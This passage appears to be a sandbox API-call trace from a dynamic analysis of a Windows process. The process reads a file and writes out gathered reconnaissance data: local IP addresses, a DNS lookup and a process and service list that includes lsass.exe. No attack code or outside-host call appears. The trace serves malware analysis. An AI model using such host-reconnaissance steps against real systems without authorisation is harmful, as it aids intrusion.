_get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] GetFileType (hFile=0x50) returned 0x1 [0151.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.532] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.533] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=2048) returned 1 [0151.533] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.533] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" IP address(es)\r\n [01]: 192.168.0.13\r\n [02]: fe80::8c96:c158:3bb2:750e\r\n-------- \r\n-------- \r\nServer: UnKnown\r\nAddress: 192.168.0.1\r\n\r\nName: localhost\r\nAddress: 127.0.0.1\r\n\r\n-------- \r\n\r\nImage Name PID Services \r\n========================= ======== ============================================\r\nSystem Idle Process 0 N/A \x15") returned 512 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] GetFileType (hFile=0x50) returned 0x1 [0151.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.533] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.534] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=2560) returned 1 [0151.534] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.534] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" \r\nSystem 4 N/A \r\nsmss.exe 260 N/A \r\ncsrss.exe 332 N/A \r\nwininit.exe 380 N/A \r\ncsrss.exe 392 N/A \r\nwinlogon.exe 432 N/A \r\nservices.exe \x15") returned 512 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.534] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.535] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=3072) returned 1 [0151.535] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.535] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 460 N/A \r\nlsass.exe 468 SamSs, VaultSvc \r\nlsm.exe 476 N/A \r\nsvchost.exe 596 DcomLaunch, PlugPlay, Power \r\nsvchost.exe 664 RpcEptMapper, RpcSs \r\nsvchost.exe 716 AudioSrv, Dhcp, eventlog, lmhosts, wscsvc \r\nsvchost.exe 828 AudioEn\x15") returned 512 [0151.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.535] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] GetFileType (hFile=0x50) returned 0x1 [0151.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.536] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.536] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.536] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=3584) returned 1 [0151.536] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.536] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="dpointBuilder, CscService, Netman, \r\n PcaSvc, SysMain, TrkWks, UxSms, \r\n WdiSystemHost \r\nsvchost.exe 880 Appinfo, BITS, gpsvc, iphlpsvc, \r\n LanmanServer, MMCSS, ProfSvc, Schedule, \r\n SENS, ShellHWDetection, Themes, Winmgmt, \r\n wuauserv \x15") returned 512 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] GetFileType (hFile=0x50) returned 0x1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.537] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.538] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=4096) returned 1 [0151.538] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.538] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" \r\naudiodg.exe 940 N/A \r\nsvchost.exe 240 EventSystem, netprofm, nsi, WdiServiceHost, \r\n WinHttpAutoProxySvc \r\nsvchost.exe 928 CryptSvc, Dnscache, LanmanWorkstation, \r\n NlaSvc \r\ndwm.exe 1096 N/A \r\nexplorer.exe \x15") returned 512 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.538] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.539] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=4608) returned 1 [0151.539] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.539] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 1112 N/A \r\nspoolsv.exe 1188 Spooler \r\ntaskhost.exe 1224 N/A \r\nsvchost.exe 1248 BFE, DPS, MpsSvc \r\nONENOTEM.EXE 1356 N/A \r\ntaskeng.exe 1424 N/A \r\nOfficeClickToRun.exe 1580 Clic\x15") returned 512 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] GetFileType (hFile=0x50) returned 0x1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.539] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.540] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=5120) returned 1 [0151.540] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.540] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType (hFile=0x50) returned 0x1 [0151.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="kToRunSvc \r\ntaskhost.exe 1396 N/A \r\nnr nutrition.exe 1264 N/A \r\nbeat.exe 312 N/A \r\nrefers.exe 2044 N/A \r\nadditions.exe 1560 N/A \r\nclusters attack.exe 1520 N/A \x15") returned 512 [0151.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.540] GetFileType 